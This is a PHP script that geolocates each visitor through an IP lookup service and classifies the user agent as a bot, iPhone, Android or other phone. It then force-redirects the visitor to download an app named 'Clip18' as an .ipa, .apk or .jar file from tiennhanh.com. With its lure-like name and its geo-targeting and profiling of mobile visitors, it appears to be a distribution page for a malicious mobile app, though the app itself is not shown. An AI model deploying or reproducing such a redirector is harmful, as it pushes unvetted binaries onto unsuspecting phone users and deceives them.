<?php 
ob_start(); 
/* Detect Mobile Modify by tuanpm */

function getRequestIp(){

    $vars = array("HTTP_FORWARDED_FOR","HTTP_FORWARDED","HTTP_X_FORWARDED_FOR","HTTP_X_FORWARDED","HTTP_CLIENT_IP","HTTP_X_REAL_IP","REMOTE_ADDR");
    $ip = null;
	for ($i = 0; $i < count($vars); $i++){
		$ip = getenv($vars[$i]);
		if ($vars[$i] == "HTTP_X_FORWARDED_FOR"){
			foreach (preg_split("/[,\s]/", $ip, null, PREG_SPLIT_NO_EMPTY) as $tmp){
				if (!preg_match("/^(10|192|172|169)\./", $tmp)){
					$ip = $tmp;
					break;
				}
				else
					$ip = null;
				}
		}

		if ($ip != false){
			$ip = trim($ip);
			if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4 |FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) return $ip;
		}
	}
	return $ip;
}

function isMobifone($ip){
	if (strpos($ip, "111.91.234") !== false) return true;
	if (strpos($ip, "222.255.208") !== false) return true;
	if (strpos($ip, "113.187.0") !== false) return true;
	if (strpos($ip, "113.187.16") !== false) return true;
	if (strpos($ip, "113.187.17") !== false) return true;
	if (strpos($ip, "123.30.165") !== false) return true;
	return false;
}

function isMobile(){  
	
	if(isset($_SERVER['HTTP_USER_AGENT'])) {        
		$mobilebot = array('googlebot-mobile', 'docomo', 'yahooseeker\/m1a1-r2d2');
		$mobilebot = implode('|', $mobilebot);	
		if (preg_match("/$mobilebot/i", $_SERVER['HTTP_USER_AGENT'])) {
			return 'mobilebot';  
		}		

		$bot = array(
			'facebookexternalhit', 'DoCoMo', 'YandexBot', 'bingbot', 'ia_archiver', 
			'AhrefsBot', 'Ezooms', 'GSLFbot', 'WBSearchBot', 'Twitterbot', 
			'Teoma', 'alexa', 'froogle', 'Gigabot', 'inktomi','UnwindFetchor',
			'looksmart', 'URL_Spider_SQL', 'Firefly', 'NationalDirectory',
			'Ask Jeeves', 'TECNOSEEK', 'InfoSeek', 'WebFindBot', 'girafabot',
			'crawler', 'www.galaxy.com', 'Googlebot', 'Scooter', 'Slurp',
			'msnbot', 'appie', 'FAST', 'WebBug', 'Spade', 'ZyBorg', 'rabaz',
			'Baiduspider', 'Feedfetcher-Google', 'TechnoratiSnoop', 'Rankivabot',
			'Mediapartners-Google', 'Sogou web spider', 'WebAlta Crawler','TweetmemeBot',
			'Butterfly','Twitturls','Me.dium','Twiceler','Twikle', 'PaperLiBot', 'Wotbox'
			);
		$bot = implode('|', $bot);	
		if (preg_match("/$bot/i", $_SERVER['HTTP_USER_AGENT']))  {
			return 'bot';    			
		}

		$user_agents = array(            
			'midp', 'j2me', 'avantg', 'docomo', 'novarra', 'palmos',
			'palmsource', '240x320', 'opwv', 'chtml', 'pda', 'windows ce',             
			'mmp\/','mib\/', 'symbian', 'wireless', 'nokia',             
			'hand', 'mobi', 'phone', 'cdm', 'up.b', 'audio', 'SIE-', 'SEC-',             
			'samsung', 'HTC', 'mot-', 'mitsu', 'sagem', 'sony', 'alcatel',             
			'lg', 'erics', 'vx', 'NEC', 'philips', 'mmm', 'xx', 'panasonic',             
			'sharp', 'wap', 'sch', 'rover', 'pocket', 'benq', 'java', 'pt',             
			'pg', 'vox', 'amoi', 'bird', 'compal', 'kg', 'voda', 'sany',             
			'kdd', 'dbt', 'sendo', 'sgh', 'gradi', 'jb', 'dddi', 'moto', 'Opera Mobi', 'Opera Mini'
			);        

		$user_agents = implode('|', $user_agents);			

		if(preg_match("/iphone/i",$_SERVER["HTTP_USER_AGENT"])) {
			return "iphone";
		}

        

		if(preg_match("/ipad|iPod|kindle|Windows/i",$_SERVER["HTTP_USER_AGENT"])) {
    		return false;
		}

        

		if(preg_match("/android/i",$_SERVER["HTTP_USER_AGENT"])) {
			return "android";
		}

		

		if (preg_match("/$user_agents/i", $_SERVER['HTTP_USER_AGENT']))  
			return "mobile";
			//return true;    			
	}		

	return false;
}



$isVN = 1;

try {

	$ch = curl_init();
	// set URL and other appropriate options
	curl_setopt($ch, CURLOPT_URL, "http://ipinfodb.com/ip_locator.php?ip=".getRequestIp());
	curl_setopt($ch, CURLOPT_HEADER, 0);
	curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
	curl_setopt($ch, CURLOPT_TIMEOUT, 1);
	curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6 (.NET CLR 3.5.30729)");
	curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
	$output = curl_exec($ch);
	try{
		if(preg_match('/Country : (.*?) /is', $output, $match)){
			if(trim(strtolower($match[1])) != 'vn' && trim($match[1]) != '-'){
				$isVN = 0;
			}
		}
	}
	catch(Exception $e){}
	curl_close($ch);
}
catch (Exception $e){}

if ($isVN && isMobile()){          
	/*if (isMobile == 'mobilebot') $_SESSION['viewsmobile']=1;  	//la mobifone
	elseif (isMobile == 'bot') $_SESSION['viewsmobile']=2; 	//la bot mobile
	//if (isMobile == 'mobifone') $_SESSION['viewsmobile']=3;       	//la bot search   
	//if (isMobile == 'mobile') $_SESSION['viewsmobile']=4; 		//la mobile
	//if (isMobile == 'wap') $_SESSION['viewsmobile']=5; 			//la wap
	else 
		$_SESSION['viewsmobile']=3;*/
	$isMobileApp = isMobile();
	if ($isMobileApp == 'iphone') {
		$applink = "http://tiennhanh.com/u/4/Clip18.ipa";
	}
	elseif ($isMobileApp == 'android') {
		$applink = "http://tiennhanh.com/u/4/Clip18.apk";
	}
	else  $applink = "http://tiennhanh.com/u/4/Clip18.jar";
		
} else {
	$applink = "http://tiennhanh.com/u/4/Clip18.apk";
}
/*----===== end ====-----*/

ob_clean();
header('HTTP/1.1 302 Found');
header('location: '.$applink); 
ob_flush();
exit();
?>